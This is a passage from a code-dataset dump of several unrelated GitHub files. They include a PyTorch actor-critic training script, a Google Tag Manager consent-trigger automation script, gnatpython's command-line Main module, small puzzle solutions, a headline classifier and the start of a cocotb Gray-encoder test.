torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.distributions import normal\nimport models\nimport network_sim\nimport evaluate\n\nSavedAction = namedtuple('SavedAction', ['log_prob', 'value'])\neps = np.finfo(np.float32).eps.item()\n\n\ndef select_action(state, model):\n state = torch.from_numpy(state).float()\n # action_mean, action_log_var, state_value = model(state)\n action_mean, state_value = model(state)\n\n # create a categorical distribution over the list of probabilities of actions\n m = normal.Normal(action_mean, 5.0 * torch.ones_like(action_mean))\n\n # and sample an action using the distribution\n action = m.sample()\n\n # save to action buffer\n model.saved_actions.append(SavedAction(m.log_prob(action), state_value))\n\n # the action to take (left or right)\n return action.item()\n\n\ndef finish_episode(args, optimizer, model):\n \"\"\"\n Training code. Calcultes actor and critic loss and performs backprop.\n \"\"\"\n R = 0\n saved_actions = model.saved_actions\n policy_losses = [] # list to save actor (policy) loss\n value_losses = [] # list to save critic (value) loss\n returns = [] # list to save the true values\n\n # calculate the true value using rewards returned from the environment\n for r in model.rewards[::-1]:\n # calculate the discounted value\n R = r + args.gamma * R\n returns.insert(0, R)\n\n returns = torch.tensor(returns)\n returns = (returns - returns.mean()) / (returns.std() + eps)\n\n for (log_prob, value), R in zip(saved_actions, returns):\n advantage = R - value.item()\n\n # calculate actor (policy) loss\n policy_losses.append(-log_prob * advantage)\n\n # calculate critic (value) loss using L1 smooth loss\n value_losses.append(F.smooth_l1_loss(value, torch.tensor([R])))\n\n # reset gradients\n optimizer.zero_grad()\n\n # sum up all the values of policy_losses and value_losses\n loss = torch.stack(policy_losses).sum() + torch.stack(value_losses).sum()\n\n # perform backprop\n loss.backward()\n optimizer.step()\n\n # reset rewards and action buffer\n del model.rewards[:]\n del model.saved_actions[:]\n\n\ndef main(args):\n model = models.Policy()\n optimizer = optim.Adam(model.parameters(), lr=args.learning_rate)\n\n env = gym.make('PccNs-v0')\n env.seed(args.seed)\n torch.manual_seed(args.seed)\n total_test_rewards = []\n\n running_reward = 10\n\n # run inifinitely many episodes\n for i_episode in range(args.episodes):\n\n # reset environment and episode reward\n state = env.reset(reward=args.reward, max_bw=args.bandwidth, test=False)\n ep_reward = 0\n\n # for each episode, only run 9999 steps so that we don't\n # infinite loop while learning\n for t in range(1, 10000):\n\n # select action from policy\n action = select_action(state, model)\n\n # take the action\n state, reward, done, _ = env.step(action)\n\n model.rewards.append(reward)\n ep_reward += reward\n if done:\n break\n\n # update cumulative reward\n running_reward = 0.05 * ep_reward + (1 - 0.05) * running_reward\n\n # perform backprop\n finish_episode(args, optimizer, model)\n\n # log results\n if i_episode % args.log_interval == 0:\n test_reward = evaluate.evaluate_model(args, i_episode, model, save_json=False)\n total_test_rewards.append(test_reward)\n\n torch.save(model.state_dict(), 'ac_model_%s.pkl' % args.reward)\n\n print('Episode {}\\tLast reward: {:.2f}\\tAverage reward: {:.2f}, Test reward: {:.2f}'.format(\n i_episode, ep_reward, running_reward, test_reward))\n\n torch.save(total_test_rewards, 'total_test_rewards.pkl')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='PyTorch actor-critic example')\n parser.add_argument('--gamma', type=float, default=0.99, metavar='G',\n help='discount factor (default: 0.99)')\n parser.add_argument('--seed', type=int, default=543, metavar='N',\n help='random seed (default: 543)')\n parser.add_argument('--log-interval', type=int, default=10, metavar='N',\n help='interval between training status logs (default: 10)')\n parser.add_argument('--episodes', type=int, default=10000)\n parser.add_argument('--learning-rate', '-lr', type=float, default=1e-4)\n parser.add_argument('--bandwidth', '-bw', type=float, default=5, help='Network bandwidth in Mbps')\n parser.add_argument('--reward', type=str, default='throughput', choices=['throughput', 'latency'],\n help='RL agent\\'s goal')\n\n args = parser.parse_args()\n\n main(args)\n","repo_name":"orilinial/PCC","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4882,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"18798718528","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # GTM Manager for Evidon Consent Mapping\n# \n\n# Written by Reece McWalter (rmcwalter@merkleinc.com) \n# Version: v0.0 \n# Organisation: Merkle Inc. \n# Written on 26.6.2020 \n# https://gtm-manager.readthedocs.io/en/latest/ \n# https://pypi.org/project/gtm-manager/ \n# https://developers.google.com/tag-manager/api/v1/macro-dictionary-reference\n\n# #### __1. Import dependencies__\n\n# In[1]:\n\n\nimport re\nimport copy\nfrom ratelimit import limits\nimport gtm_manager\nfrom gtm_manager.manager import GTMManager\nfrom gtm_manager.account import GTMAccount\nfrom gtm_manager.container import GTMContainer\nfrom gtm_manager.trigger import GTMTrigger\nfrom gtm_manager.workspace import GTMWorkspace\n\n\n# #### __2. Authorise GTM API__\n\n# In[2]:\n\n\ngtm_manager.CLIENT_SECRET_FILE = \"client_secret.json\"\ngtm_manager.CREDENTIALS_FILE_NAME = \"auth_credentials.json\"\ngtm_manager.AUTH_SCOPES = [\n gtm_manager.GoogleTagManagerScopes.EDIT_CONTAINERS,\n gtm_manager.GoogleTagManagerScopes.PUBLISH,\n gtm_manager.GoogleTagManagerScopes.EDIT_CONTAINERVERSIONS,\n]\ntry:\n account = GTMAccount(path=\"accounts/6001493098\")\nexcept: \n print(\"Error: Issue finding account\")\n \ntry:\n container = GTMContainer(path=\"accounts/6001493098/containers/31768050\")\n print(\"Active Container: \",container)\n print(\"Auth Successful\")\nexcept: \n print(\"Error: Issue finding container, auth failed\")\n\n\n\n\n# #### 3. Define workspace name\n# If the workspace name does not exist, it will be created and set active. \n# If the workspace name does exist, it will be set active.\n\n# In[3]:\n\n\nworkspace_name = \"Hello\"\n\n\n# #### 4. Check workspace for existing\n\n# In[4]:\n\n\ndef check_workspace(workspace_name):\n global workspace\n \n try:\n workspaces = container.list_workspaces(refresh=True)\n except:\n print(\"Error: could not find workspace\")\n \n str_workspaces = []\n print(\"Workspaces Available:\")\n for workspace in workspaces:\n entry = str(workspace)\n entry = re.search(': (.+?)>', entry)\n entry = entry.group(1)\n str_workspaces.append(entry)\n \n print(\n str(str_workspaces.index(entry))+\". \"+entry\n )\n \n if workspace_name in str_workspaces: \n index = str_workspaces.index(workspace_name)\n path = workspaces[index].path\n workspace = GTMWorkspace(path=path)\n print('Workspace already exists - Using: ',workspace_name)\n else:\n print('Creating new workspace - Using: ',workspace_name)\n workspace = container.create_workspace(workspace_name)\n\n\n# In[10]:\n\n\ncheck_workspace(workspace_name)\n\n\n# #### 5. Create Evidon Assets\n# This will create Evidon assets necessary for implementation.\n# These include: \n# \n# **Variables:** \n# - MPX - DLV - consentCategories\n# dataLayer variable name: consentCategories\n# \n# \n# **Triggers**\n# - Evidon Blocking - {{triggerType}} - {{trackingCategory}} \n# \n# Where triggerType may equal:\n# - Page View\n# - DOM Ready\n# - Window Loaded\n# - All Elements\n# - Just Links\n# - Element Visibility\n# - Form Submission\n# - Scroll Depth\n# - Custom Event\n# \n# And trackingCategory may equal:\n# - Analytics\n# - M&A\n# - Functional\n# - undefined (in the case where no consent is given)\n\n# In[6]:\n\n\nvar_evidon_consent_cat ={\n \"name\": \"MPX - DLV - consentCategories\",\n \"type\": \"v\",\n \"parameter\": [\n {\n \"value\": \"2\",\n \"key\": \"dataLayerVersion\",\n \"type\": \"integer\"\n },\n {\n \"value\": \"false\",\n \"key\": \"setDefaultValue\",\n \"type\": \"boolean\"\n },\n {\n \"value\": \"consentCategories TEST ONLY\",\n \"key\": \"name\",\n \"type\": \"template\"\n }\n ],\n }\n\ntry:\n workspace.create_variable(var_evidon_consent_cat)\n print(var_evidon_consent_cat[\"name\"]+\" was writted to workspace\"+workspace_name)\nexcept: \n print(\"Error: Writing variable failed. Perhaps the variable already exists or check your API quota\")\n\n\n# In[7]:\n\n\n# Define all trigger types in GTM & all consent categories in Evidon\ntrigger_types = [\"formSubmission\", \"customEvent\", \"pageview\", \"windowLoaded\", \"click\", \"domReady\", \"elementVisibility\", \"linkClick\", \"historyChange\", \"youtubeVideo\"]\nconsent_types = [\"analytics\", \"marketing & advertising\", \"functional\", \"undefined\"]\n\n# Define generic trigger template to be used for all writes\ngeneric_trigger={\n \"type\": \"\",\n \"name\": \"Evidon Consent Blocking\",\n \"filter\": [\n {\n \"parameter\": [\n {\n \"type\": \"template\",\n \"value\": \"{{MPV - DLV - consentCategory}}\",\n \"key\": \"arg0\"\n },\n {\n \"type\": \"template\",\n \"value\": \"\",\n \"key\": \"arg1\"\n },\n {\n \"type\": \"boolean\",\n \"value\": \"true\",\n \"key\": \"ignore_case\"\n },\n {\n \"type\": \"boolean\",\n \"value\": \"true\",\n \"key\": \"negate\"\n }\n ],\n \"type\": \"matchRegex\"\n }\n ]\n}\n\n# Define key:value for customEventFilter - This key is required for customEvent triggers\ncustom_event_key = \"customEventFilter\" \ncustom_event_value=[\n {\n \"parameter\": [\n {\n \"type\": \"template\",\n \"value\": \"{{_event}}\",\n \"key\": \"arg0\"\n },\n {\n \"type\": \"template\",\n \"value\": \".*\",\n \"key\": \"arg1\"\n },\n {\n \"type\": \"boolean\",\n \"value\": \"true\",\n \"key\": \"ignore_case\"\n }\n ],\n \"type\": \"matchRegex\"\n }\n]\n\n\n# In[8]:\n\n\n@limits(calls=10, period=1)\ndef collect_triggers():\n count = 0\n \n # Loop trigger types\n for trigger_type in trigger_types:\n # Reset template\n trigger = copy.deepcopy(generic_trigger)\n \n # For each trigger type, loop consent types\n for consent_type in consent_types:\n # Set dynamic parameters to template\n trigger['type'] = trigger_type\n trigger['name'] = (\"Evidon Consent Blocking - \"+trigger_type+\" - \"+consent_type).title() \n \n # Where consent is not 'undefined', add '/|all/' to regex firing condition \n if consent_type != 'undefined':\n trigger['filter'][0][\"parameter\"][1]['value'] = consent_type+\"|all\"\n else:\n trigger['filter'][0][\"parameter\"][1]['value'] = consent_type\n \n # For customEvent, create new customEvent template from original and insert key 'customEventFilter' to template \n if trigger_type != 'customEvent':\n None\n else: \n trigger[custom_event_key] = custom_event_value\n \n # Write to GTM\n workspace.create_trigger(trigger)\n \n # Update counter\n count = count + 1\n \n # Print condition of write\n print(str(count) + \". \" + trigger['name'] + \" successfuly created\")\n\n\n# In[9]:\n\n\ncollect_triggers()\n\n\n# # Appendix: Dictionary for request bodies\n# \n# #### 1. Variable Body:\n# ```\n# var_body = \n# {\n# \"name\": \"cjs.randomNumber\",\n# \"type\": \"jsm\",\n# \"parameter\": [\n# {\n# \"type\": \"TEMPLATE\",\n# \"key\": \"javascript\",\n# \"value\": \"function() {\\n return Math.random();\\n}\",\n# }\n# ],\n# }\n# ```\n# \n# \n# \n# #### 2. Trigger Body:\n# ```\n# {\n# \"type\": {{event_type}},\n# \"name\": \"Evidon Consent Blocking - \",{{trigger_type}},\" - \",{{consent_type}},\",\n# \"filter\": [\n# {\n# \"parameter\": [\n# {\n# \"type\": \"template\",\n# \"value\": \"{{MPV - DLV - consentCategory}}\",\n# \"key\": \"arg0\"\n# },\n# {\n# \"type\": \"template\",\n# \"value\": \",{{consentType}},\"|all\",\n# \"key\": \"arg1\"\n# },\n# {\n# \"type\": \"boolean\",\n# \"value\": \"true\",\n# \"key\": \"ignore_case\"\n# },\n# {\n# \"type\": \"boolean\",\n# \"value\": \"true\",\n# \"key\": \"negate\"\n# }\n# ],\n# \"type\": \"matchRegex\"\n# }\n# ]\n# }\n# \n# ```\n# \n# #### 3. Tag Body:\n# ```\n# {\n# \"name\": \"HTML - Hello Log\",\n# \"type\": \"html\",\n# \"parameter\": [\n# {\n# \"type\": \"TEMPLATE\",\n# \"key\": \"html\",\n# \"value\": '',\n# }\n# ],\n# \"firingTriggerId\": [trigger.triggerId],\n# }\n# ```\n# \n# \n# \n# #### 4. Naming conventions\n# Blocking Trigger names should be populated as:\n# 'Evidon Blocking {{trigger_type}} - {{consetType}}'\n# \n# ###### 4a. triggerType: \n# **Custom Event:** customEvent \n# **Page View:** pageview \n# **Window Loaded:** windowLoaded \n# **Click:** click \n# **DOM Ready:** domReady \n# **Element Visibility:** elementVisibility \n# **Form Submission:** formSubmission \n# **Link Click:** linkClick \n# **History Change:** historyChange \n# **YouTube Video:** youTubeVideo\n# \n# ##### 4b consentType: \n# **No Analytics:** \n# **No M&A:** \n# **No Functional:** \n# **No Other:** \n# _**Essential** - Must be included_ \n\n# In[ ]:\n\n\n# 01-JUL-2020: Debug in progress (rmcwalter@merkleinc.com)\n\n\ndef check_var(var_to_write):\n vars = workspace.list_variables(refresh=True)\n test_var = var_to_write[\"parameter\"]\n \n for var in vars:\n existing_params = []\n existing_params_list = var.parameter\n for params in existing_params_list:\n existing_params.append(params.to_obj())\n \n # NOTE: need to figure out way to SORT paramters before comparing\n #https://stackoverflow.com/questions/7828867/how-to-efficiently-compare-two-unordered-lists-not-sets-in-python\n \n if existing_params != test_var:\n print(\"creating variable...\")\n workspace.create_variable(var_to_write)\n print(var_to_write,\" created\")\n else:\n print (\"variable already exists\")\n\n \n\n","repo_name":"reecemcw/GTM-API-Automation","sub_path":"gtm_consent_management_automation.py","file_name":"gtm_consent_management_automation.py","file_ext":"py","file_size_in_byte":10866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"29126150565","text":"from diff_eq_window import DiffEqWindow\r\nfrom main_window import MainWindow\r\n\r\nfrom PyQt5 import QtCore, QtWidgets, uic\r\n\r\n\r\nclass Controller():\r\n def __init__(self):\r\n pass\r\n self.main_window = MainWindow()\r\n self.diff_eq_window = DiffEqWindow()\r\n self.login_opened = False\r\n self.two_opened = False\r\n\r\n def show_mywindow(self):\r\n self.login = MainWindow()\r\n self.login.switch_window.connect(self.show_secondwindow)\r\n\r\n if self.two_opened:\r\n self.diff_eq_window.close()\r\n self.two_opened = False\r\n\r\n self.login.show()\r\n self.login_opened = True\r\n\r\n\r\n def show_secondwindow(self):\r\n self.diff_eq_window = DiffEqWindow()\r\n self.diff_eq_window.switch_window.connect(self.show_mywindow)\r\n if self.login_opened:\r\n self.login.close()\r\n self.login_opened = False\r\n\r\n self.diff_eq_window.show()\r\n self.two_opened = True","repo_name":"ashnaider/DifferentialEquations","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"32714344158","text":"from collections import deque\nimport math\n\ndef solution(progresses, speeds):\n ans = []\n day = 0\n progresses = deque(progresses)\n speeds = deque(speeds)\n while progresses:\n cnt = 0\n while progresses:\n progresses[0] += speeds[0] * day\n if progresses[0] >= 100:\n cnt += 1\n progresses.popleft()\n speeds.popleft()\n else:\n break\n \n if cnt != 0:\n ans.append(cnt)\n \n if progresses:\n per = 100 - progresses[0]\n day += math.ceil(per / speeds[0])\n\n\n return ans","repo_name":"YT0602/Coding-Test","sub_path":"프로그래머스/lv2/42586. 기능개발/기능개발.py","file_name":"기능개발.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"73871333512","text":"# 백준 1520번 내리막길(시간초과)\n\nimport sys\nimport time\nstart = time.time() # 시작 시간 저장\n\ninput = sys.stdin.readline\nsys.setrecursionlimit(10**6)\n\ndef dfs(r,c):\n global h\n if (r == m-1 and c == n-1):\n h += 1\n return\n for dr, dc in [(0, 1), (1, 0), (0, -1), (-1, 0)]:\n if (0 <= r+dr list[str]:\n try:\n # Load a pre-trained model for zero-shot classification\n classifier = pipeline(\"zero-shot-classification\", model=\"facebook/bart-large-mnli\")\n except Exception as e:\n logging.error(f\"Failed to load the zero-shot classification model: {e}\")\n return []\n\n # Define the categories for the zero-shot classifier\n candidate_labels = [\"stock news\", \"non-stock news\"]\n \n stock_related_headlines = []\n for headline in headlines:\n try:\n # Perform zero-shot classification\n classification_result = classifier(headline, candidate_labels)\n if classification_result[\"labels\"][0] == \"stock news\":\n stock_related_headlines.append(headline)\n except Exception as e:\n logging.error(f\"Failed to classify headline: {headline}. Error: {e}\")\n\n return stock_related_headlines\n","repo_name":"russelrk/Stock_Forecasting_Hobby","sub_path":"Sentiment_Analysis/utils/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"947265387","text":"from optparse import OptionGroup, OptionParser, TitledHelpFormatter\n\nimport logging\nimport os\nimport re\nimport sys\nimport signal\n\nimport gnatpython.logging_util\nfrom gnatpython.logging_util import (highlight, COLOR_RED, COLOR_YELLOW,\n COLOR_GREEN, COLOR_CYAN)\nfrom gnatpython.env import Env\n\n\nclass MainError (Exception):\n \"\"\"MainError exception.\"\"\"\n pass\n\n\nclass MainHelpFormatter(TitledHelpFormatter):\n \"\"\"Format help with underlined section headers.\n\n Do not modify description formatting.\n \"\"\"\n\n def format_description(self, description):\n \"\"\"Do not modify description.\"\"\"\n return description\n\ncolor_table = {\n ' (FAILED|DIFF)': COLOR_RED,\n ' (UOK)': COLOR_YELLOW,\n ' (OK|PASSED)': COLOR_GREEN,\n ' (XFAIL)': COLOR_CYAN,\n ' (DEAD)': COLOR_CYAN}\n\n\nclass ConsoleColorFormatter(logging.Formatter):\n \"\"\"Formatter with color support.\n\n If level is ERROR or CRITICAL then the output color is set to red.\n Furthermore if some keyword such as PASSED,FAILED are detected then\n they are highlighted with an adequate color\n \"\"\"\n\n def __init__(self, fmt=None, datefmt=None):\n logging.Formatter.__init__(self, fmt, datefmt)\n\n def format(self, record):\n output = logging.Formatter.format(self, record)\n if record.levelno >= logging.ERROR:\n output = highlight(output, fg=COLOR_RED)\n else:\n for k in color_table:\n output = re.sub(\n k, ' ' + highlight(\"\\\\1\", fg=color_table[k]), output)\n return output\n\n# The different types of option parsers that the Main class supports:\n# - MAIN_USE_OPTPARSE: Use optparse.OptionParser.\n# - MAIN_USE_ARGPARSE: Use argparse.ArgumentParser.\n(MAIN_USE_OPTPARSE, MAIN_USE_ARGPARSE) = range(2)\n\n\nclass Main(object):\n \"\"\"Class that implement argument parsing.\n\n ATTRIBUTES\n name: name of the program (default is the filename with the extension)\n usage: contains the usage retrived from the main docstring\n description: contains the description retrieved from the main docstring\n option_parser_kind: The type of option parser to use. This must be one\n of the MAIN_USE_* constants above.\n option_parser: The object that will be used to parse the command-line\n options and arguments.\n options: object containing the result of option parsing (see python\n optparse module). Note that this object is made global by putting its\n value in Env.main_options.\n args: list of positional parameters after processing options\n add_option: this is in fact a method that can be used to add other\n options (see documentation of the Python module optparse)\n \"\"\"\n\n def __init__(self, name=None, formatter=None,\n require_docstring=True, add_targets_options=False,\n option_parser_kind=MAIN_USE_OPTPARSE):\n \"\"\"Init Main object.\n\n :param name: name of the program (if not specified the filename without\n extension is taken)\n :type name: str | None\n :param formatter: override the default formatter for console output\n :type formatter: str | None\n :param require_docstring: if True, raise MainError when the toplevel\n docstring is not found\n :type require_docstring: bool\n :param add_targets_options: add --target and --host options\n :type add_targets_options: bool\n :param option_parser_kind: The kind of option parser that should be\n be used. For compatibility reasons, the default is\n to use optparse.OptionParser.\n :type option_parser_kind: int\n \"\"\"\n # Set a signal handler for SIGTERM that will raise SystemExit\n # This is to let a gnatpython application enough time to perform\n # cleanup steps when killed by rlimit. rlimit first send a SIGTERM\n # then a SIGKILL 5 seconds later\n\n main = sys.modules['__main__']\n\n if name is not None:\n self.name = name\n else:\n self.name = os.path.splitext(os.path.basename(main.__file__))[0]\n\n docstring = main.__doc__\n if require_docstring and docstring is None:\n raise MainError('Doc string not found')\n\n if docstring is not None:\n usage_end = docstring.find('\\n\\n')\n if usage_end == -1 and require_docstring:\n raise MainError('Doc string must start with a usage, '\n 'followed by an empty line')\n\n self.usage = docstring[0:usage_end]\n self.description = docstring[usage_end + 2:]\n else:\n self.usage = None\n self.description = None\n\n # The \"add_targets_options\" attribute is no longer used\n # in this class' code. But, although it is not a documented\n # attribute of the class, we are keeping it nonetheless\n # for compatibility reason, in case someone actually uses it.\n self.add_targets_options = add_targets_options\n\n self.option_parser_kind = option_parser_kind\n if self.option_parser_kind == MAIN_USE_OPTPARSE:\n self.__parse_proxy = OptParseProxy()\n elif self.option_parser_kind == MAIN_USE_ARGPARSE:\n self.__parse_proxy = ArgParseProxy()\n else:\n raise MainError('Usupported option_parser_kind: %d'\n % self.option_parser_kind)\n\n self.option_parser = self.__parse_proxy.new_option_parser(\n usage=self.usage, description=self.description)\n\n # Create the logging options in a specific option group.\n log_options = self.__parse_proxy.new_option_group(\n self.option_parser,\n \"Various logging options\")\n\n self.__parse_proxy.add_option(\n log_options,\n \"-v\", \"--verbose\",\n dest=\"verbose\",\n action=\"store_true\",\n default=False,\n help=\"add some verbosity for debugging purposes. \"\n \"Overrides --loglevel\")\n self.__parse_proxy.add_option(\n log_options,\n \"--log-file\",\n dest=\"logfile\",\n metavar=\"FILE\",\n default=\"\",\n help=\"add some logs into the specified file\")\n self.__parse_proxy.add_option(\n log_options,\n \"--enable-color\",\n dest=\"enable_color\",\n action=\"store_true\",\n default=False,\n help=\"enable colors in log outputs\")\n self.__parse_proxy.add_option(\n log_options,\n \"--loglevel\", default=\"INFO\",\n action=\"store\",\n help=\"defines a loglevel (RAW,DEBUG,INFO,ERROR) for\"\n \" stdout\")\n\n if add_targets_options:\n self.add_target_options_handling(self.option_parser)\n\n self.options = None\n self.args = None\n self.formatter = formatter\n self.__log_handlers_set = False\n\n # By default do not filter anything. What is effectively logged will\n # be defined by setting/unsetting handlers\n logging.getLogger('').setLevel(gnatpython.logging_util.RAW)\n\n # Make the add_option function directly available to Main objects.\n # This method is deprecated, so we only make it available when\n # using optparse, where we want to preserve upward compatibility.\n if self.option_parser_kind == MAIN_USE_OPTPARSE:\n self.add_option = self.option_parser.add_option\n\n def sigterm_handler(signal, frame):\n \"\"\"Automatically convert SIGTERM to SystemExit exception.\n\n This is done to give enough time to an application killed by\n rlimit to perform the needed cleanup steps\n \"\"\"\n logging.critical('SIGTERM received')\n raise SystemExit('SIGTERM received')\n\n signal.signal(signal.SIGTERM, sigterm_handler)\n\n def add_target_options_handling(self, parser):\n \"\"\"Add the --target, --host and --build options to the given parser.\n\n :param parser: A parser. This can be either self.option_parser, or\n a sub-command parser (if the option parser supports it).\n \"\"\"\n self.__parse_proxy.add_option(\n parser,\n \"--target\",\n dest=\"target\",\n metavar=\"TARGET[,TARGET_VERSION[,TARGET_MACHINE[,TARGET_MODE]]]\",\n default=\"\",\n help=\"set target\")\n self.__parse_proxy.add_option(\n parser,\n \"--host\",\n dest=\"host\",\n metavar=\"HOST[,HOST_VERSION]\",\n default=\"\",\n help=\"set host\")\n self.__parse_proxy.add_option(\n parser,\n \"--build\",\n dest=\"build\",\n metavar=\"BUILD[,BUILD_VERSION]\",\n default=\"\",\n help=\"set build\")\n # We add a default to a fake option as a way to encode\n # the fact that this parser supports the standard\n # --host/target options. That way, after the parser\n # is used to evaluate the command-line arguments, we can\n # determine from the result whether the parser was supporting\n # the standard --host/target options or not, and then process\n # them if we did.\n #\n # To avoid clashes with user-defined options, we use a dest\n # name that is improbable in practice.\n parser.set_defaults(gnatpython_main_target_options_supported=True)\n\n def parse_args(self, args=None):\n \"\"\"Parse options and set console logger.\n\n :param args: the list of positional parameters. If None then\n ``sys.argv[1:]`` is used\n :type: list[str] | None\n \"\"\"\n levels = {'RAW': gnatpython.logging_util.RAW,\n 'DEBUG': logging.DEBUG,\n 'INFO': logging.INFO,\n 'ERROR': logging.ERROR,\n 'CRITICAL': logging.CRITICAL}\n\n (self.options, self.args) = self.__parse_proxy.parse_args(\n self.option_parser, args)\n\n if not self.__log_handlers_set:\n # First set level of verbosity\n if self.options.verbose:\n level = gnatpython.logging_util.RAW\n else:\n level = levels.get(self.options.loglevel, logging.INFO)\n\n # Set logging handlers\n default_format = '%(levelname)-8s %(message)s'\n handler = gnatpython.logging_util.add_handlers(\n level=level,\n format=default_format)[0]\n\n if self.formatter is not None:\n default_format = self.formatter\n\n if self.options.enable_color:\n handler.setFormatter(ConsoleColorFormatter(default_format))\n else:\n if self.formatter is not None:\n handler.setFormatter(logging.Formatter(self.formatter))\n\n # Log to a file if necessary\n if self.options.logfile != \"\":\n handler = gnatpython.logging_util.add_handlers(\n level=gnatpython.logging_util.RAW,\n format='%(asctime)s: %(name)-24s: '\n '%(levelname)-8s %(message)s',\n filename=self.options.logfile)\n\n self.__log_handlers_set = True\n\n # Export options to env\n e = Env()\n e.main_options = self.options\n\n if hasattr(self.options, \"gnatpython_main_target_options_supported\"):\n # Handle --target, --host and --build options\n e.set_env(self.options.build,\n self.options.host,\n self.options.target)\n\n def disable_interspersed_args(self):\n \"\"\"See optparse.disable_interspersed_args in standard python library.\n\n This function is now deprecated and is only supported\n if self.option_parser_kind == MAIN_USE_OPTPARSE.\n Use self.option_parser.disable_interspersed_args instead.\n \"\"\"\n assert self.option_parser_kind == MAIN_USE_OPTPARSE\n self.option_parser.disable_interspersed_args()\n\n def error(self, msg):\n \"\"\"Print a usage message incorporating 'msg' to stderr and exit.\n\n This function is now deprecated and is only supported\n if self.option_parser_kind == MAIN_USE_OPTPARSE.\n Use self.option_parser.error instead.\n\n :param msg: Error message to display\n :type msg: str\n \"\"\"\n assert self.option_parser_kind == MAIN_USE_OPTPARSE\n self.option_parser.error(msg)\n\n def create_option_group(self, txt):\n \"\"\"Create a new option group.\n\n You need to call add_option_group after having added the options\n\n This function is now deprecated and is only supported\n if self.option_parser_kind == MAIN_USE_OPTPARSE.\n Create the OptionGroup object directly, using\n self.option_parser as the option parser.\n \"\"\"\n assert self.option_parser_kind == MAIN_USE_OPTPARSE\n return OptionGroup(self.option_parser, txt)\n\n def add_option_group(self, group):\n \"\"\"Add groups to parsers.\n\n This function is now deprecated and is only supported\n if self.option_parser_kind == MAIN_USE_OPTPARSE.\n Use self.option_parser.add_option_group instead.\n \"\"\"\n assert self.option_parser_kind == MAIN_USE_OPTPARSE\n self.option_parser.add_option_group(group)\n\n\nclass AbstractParseProxy(object):\n \"\"\"An abstract API providing limited access to an option parser.\n\n This API is meant to be used by the Main class as a proxy\n for some of the operations it needs to perform on the underlying\n option parser. The API only provides enough features to support\n the needs of the Main class, and nothing more. The goal is only\n to avoid littering the code of class Main with with code like::\n\n if parser_kind = ...\n self.option_parser.use_this_method (...)\n elif parser_kind = ...\n self.option_parser.user_that_method (...)\n else\n raise MainError (\"the same message over and over\")\n\n This class should be derived and all methods should be overriden\n for each option parser being supported.\n\n This class is an abstract class and should not be instantiated.\n Use the child classes that are relevant to the actual option\n parser in use.\n \"\"\"\n def new_option_parser(self, usage, description):\n \"\"\"Return a new option parser.\n\n :raise MainError: not implemented\n \"\"\"\n del usage, description\n raise MainError(\"Not implemented: \"\n \"__AbstractParserProxy.new_option_parser\")\n\n def new_option_group(self, parser, title, description=None):\n \"\"\"Create a new option group attached to the given parser.\n\n :raise MainError: not implemented\n \"\"\"\n del parser, title, description\n raise MainError(\"Not implemented: \"\n \"__AbstractParserProxy.new_option_group\")\n\n def add_option(self, parser, *args, **kwargs):\n \"\"\"Add a new option to the given parser.\n\n The parser can be an option parser, or a group parser.\n :raise MainError: not implemented\n \"\"\"\n del parser, args, kwargs\n raise MainError(\"Not implemented: \"\n \"__AbstractParserProxy.add_option\")\n\n def parse_args(self, parser, args):\n \"\"\"Parse the arguments.\n\n Return a tuple containing two elements (see OptParse.parse_args).\n\n :param parser: an argument parser\n :param args: the arguments to be parsed\n\n :raise MainError: not implemented\n \"\"\"\n del parser, args\n raise MainError(\"Not implemented: \"\n \"__AbstractParserProxy.parse_args\")\n\n\nclass OptParseProxy(AbstractParseProxy):\n \"\"\"The parse-proxy class for optparse.OptionParser option parsers.\"\"\"\n def new_option_parser(self, usage, description):\n return OptionParser(usage=usage, description=description,\n formatter=MainHelpFormatter())\n\n def new_option_group(self, parser, title, description=None):\n group = OptionGroup(parser, title, description)\n parser.add_option_group(group)\n return group\n\n def add_option(self, parser, *args, **kwargs):\n parser.add_option(*args, **kwargs)\n\n def parse_args(self, parser, args):\n return parser.parse_args(args)\n\n\nclass ArgParseProxy(AbstractParseProxy):\n \"\"\"The parse-proxy class for argparse.ArgumentParser option parsers.\"\"\"\n def new_option_parser(self, usage, description):\n # We import argparse.ArgumentParser here to make sure we import\n # it only when actually used.\n #\n # There is no equivalent of optparse's TitledHelpFormatter\n # with argparse. So just use the RawDescriptionHelpFormatter,\n # which is very close.\n from argparse import ArgumentParser, RawDescriptionHelpFormatter\n return ArgumentParser(usage=usage, description=description,\n formatter_class=RawDescriptionHelpFormatter)\n\n def new_option_group(self, parser, title, description=None):\n return parser.add_argument_group(title, description)\n\n def add_option(self, parser, *args, **kwargs):\n parser.add_argument(*args, **kwargs)\n\n def parse_args(self, parser, args):\n # With ArgumentParser, all positional arguments are treated\n # as options. So the second half of the tuple being returned\n # is always the empty list.\n return (parser.parse_args(args), [])\n","repo_name":"Nikokrock/gnatpython","sub_path":"gnatpython/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"34906659182","text":"import cocotb\nfrom cocotb.triggers import Timer\nfrom cocotb.log import SimLog\nfrom utils import pytest_cocotb_run_test\n\n\ndef test_gray_encoder(pytestconfig):\n \"\"\"Pytest fixture for Gray Encoder test\"\"\"\n pytest_cocotb_run_test(pytestconfig, __name__)\n\n\n@cocotb.test()\nasync def cocotb_test_gray_encoder(dut):\n \"\"\"Gray Encoder test\"\"\"\n\n log = SimLog(\"cocotb.test_gray_encoder\")\n\n data_width = int(dut.DATA_WIDTH)\n\n for i in range(2 ** data_width):\n dut.i_bin.value = i\n await Timer(1)\n\n try:\n assert int(dut.o_gray.value) == 